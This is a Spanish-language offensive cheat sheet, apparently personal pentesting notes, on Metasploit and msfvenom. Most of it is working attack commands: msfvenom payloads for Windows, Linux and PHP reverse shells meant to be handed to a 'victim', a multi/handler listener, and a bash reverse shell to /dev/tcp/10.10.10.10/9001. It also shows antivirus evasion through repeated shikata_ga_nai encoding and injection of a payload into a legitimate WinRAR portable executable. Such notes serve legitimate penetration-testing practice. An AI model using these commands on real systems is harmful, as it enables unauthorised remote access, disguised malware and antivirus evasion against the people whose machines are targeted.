### Metasploit basics
```bash
* msfdb init && msfconsole (abrir metasploit con la bbdd para luego pivoting)
* search (buscar exploits)
* search
* use (utilizar un exploit)
* show options (para ver lo que podemos aplicar en un exploit)
* info (ver los targets disponibles, opciones, etc)
* set (establecer un parámetro)
* run (lanzar un exploit)
* shell (obtener una shell cuando ya hemos establecido una sesión de meterpreter)
* sessions -l (listar sesiones)
* sessions -K (kill sessions)
* sessions entrar en una sesión
#METERPRETER migrar sesion de meterpreter x86 a x64
pgrep explorer (esto nos dará el PID del proceso explorer)
migrate (el numero del proceso obtenido)
#METERPRETER BASICS
* sysinfo
* getprivs
* getuid
*
```
### Payloads con MsfVenom
#### MsfVenom Basics
```bash
msfvenom --list payloads
msfvenom --list enconders (para codificar y tratar de evadir el AV)
```
#### Payload sesión meterpreter Windows
Esto es útil entre otras cosas para el pivoting con metasploit. De esta forma conseguimos una sesión de meterpreter.
```bash
#Generamos el payload y lo compartimos con la víctima
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST= LPORT=443 -f exe -o fichero.exe
# Nos ponemos a la escucha con msfconsole (metasploit)
msfconsole
use multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LPORT=443
set LHOST=
run
# Ya solo falta ejecutar el .exe y recibiremos la sesión de meterpreter
```
#### Payload sesión meterpreter Linux
Igual que con Windows, solo que cambiamos el payload utilizado, en este caso:
```bash
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f elf > reverse.elf
msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f elf > shell.elf
```
#### Payload reverse shell PHP
```bash
#Generamos el payload y lo compartimos con la víctima
msfvenom -p php/reverse_php LHOST= LPORT= -f raw > pwned.php
Ahora nos ponemos a la escucha con netcat y listo. IMPORTANTE, esta conexion se puede cerrar. así que una vez dentro es conveniente ejecutar una nueva reverse shell.
# Segunda reverse shell
bash -c "sh -i >& /dev/tcp/10.10.10.10/9001 0>&1"
y nos ponemos a la escucha con netcat
```
#### Payload encoding (AV evasion)
Al generar un payload con msfvenom, añadimos el argumento -e y el encoder especificado.
con la opción -i indicamos las iteraciones al codificar un payload (si se dan muchisimas iteraciones también podríamos llamar la atención)
```bash
msfvenom --list encoders
msfvenom -p ...... -e x86/shikata_ga_nai -i 10
```
#### Inyectar payload en ejecutable legítimo
Teniendo un portable, podemos incluir nuestro código payload en él con la opción -x indicando la ruta del portable.
```bash
msfvenom -p ...... -e x86/shikata_ga_nai -i 10 -x /home/kali/winrarportable.exe
```